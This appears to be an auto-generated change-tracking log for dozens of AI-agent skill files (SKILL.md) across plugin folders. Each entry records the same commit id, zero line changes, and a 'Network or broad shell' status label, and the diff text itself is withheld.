First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/copilot-customization-authoring/skills/boost-prompt/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/copilot-customization-authoring/skills/cli-mastery/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/copilot-customization-authoring/skills/copilot-cli-quickstart/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/copilot-customization-authoring/skills/copilot-primitive-authoring/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/copilot-customization-authoring/skills/copilot-spaces/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/copilot-customization-authoring/skills/copilot-usage-metrics/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/copilot-customization-authoring/skills/finalize-agent-prompt/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/copilot-customization-authoring/skills/generate-custom-instructions-from-codebase/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/copilot-customization-authoring/skills/github-copilot-starter/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/copilot-customization-authoring/skills/harness-engineering/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/copilot-customization-authoring/skills/lsp-setup/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/copilot-customization-authoring/skills/memory-merger/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/copilot-customization-authoring/skills/microsoft-skill-creator/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/copilot-customization-authoring/skills/mini-context-graph/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/copilot-customization-authoring/skills/prompt-optimizer/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/copilot-customization-authoring/skills/remember/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/copilot-customization-authoring/skills/skill-creator/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/copilot-customization-authoring/skills/steno-mode/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/copilot-customization-authoring/skills/vardoger-analyze/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/copilot-plugin-development/skills/copilot-plugin-authoring/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/copilot-sdk/skills/copilot-sdk/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/creative-media-tooling/skills/adobe-illustrator-scripting/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/creative-media-tooling/skills/freecad-scripts/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/creative-media-tooling/skills/game-engine/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/creative-media-tooling/skills/image-manipulation-image-magick/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/creative-media-tooling/skills/latchshot-page-capture/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/creative-media-tooling/skills/nano-banana-pro-openrouter/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/creative-media-tooling/skills/pdftk-server/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/creative-media-tooling/skills/resemble-detect/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/creative-media-tooling/skills/rhino3d-scripts/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/creative-media-tooling/skills/slang-shader-engineer/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/creative-media-tooling/skills/transloadit-media-processing/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/csharp-dotnet-development/skills/aspnet-minimal-api-openapi/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/csharp-dotnet-development/skills/csharp-async/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/csharp-dotnet-development/skills/csharp-mstest/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/csharp-dotnet-development/skills/csharp-nunit/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/csharp-dotnet-development/skills/csharp-tunit/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/csharp-dotnet-development/skills/csharp-xunit/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/csharp-dotnet-development/skills/dotnet-best-practices/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/csharp-dotnet-development/skills/dotnet-upgrade/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/csharp-dotnet-development/skills/fluentui-blazor/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/data-engineering/skills/bigquery-pipeline-audit/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/data-engineering/skills/datanalysis-credit-risk/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/data-engineering/skills/pinecone-rag/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/data-engineering/skills/snowflake-semanticview/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/data-engineering/skills/sql-server-table-reconciliation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/data-engineering/skills/ssma-console/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/database-data-management/skills/postgresql-code-review/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/database-data-management/skills/postgresql-optimization/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/database-data-management/skills/sql-code-review/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/database-data-management/skills/sql-optimization/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/dataverse-sdk-for-python/skills/dataverse-python-advanced-patterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/dataverse-sdk-for-python/skills/dataverse-python-production-code/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/dataverse-sdk-for-python/skills/dataverse-python-quickstart/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/dataverse-sdk-for-python/skills/dataverse-python-usecase-builder/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/devops-oncall/skills/azure-resource-health-diagnose/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/devops-oncall/skills/multi-stage-dockerfile/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/diagram-authoring/skills/draw-io-diagram-generator/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/diagram-authoring/skills/efcore-d2-db-diagram/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/diagram-authoring/skills/plantuml-ascii/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/dotnet-desktop-development/skills/dotnet-timezone/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/dotnet-desktop-development/skills/msstore-cli/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/dotnet-desktop-development/skills/mvvm-toolkit/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/dotnet-desktop-development/skills/mvvm-toolkit-di/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/dotnet-desktop-development/skills/mvvm-toolkit-messenger/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/dotnet-desktop-development/skills/nuget-manager/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/dotnet-desktop-development/skills/system-commandline-cli/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/dotnet-desktop-development/skills/winmd-api-search/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/dotnet-desktop-development/skills/winui3-migration-guide/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
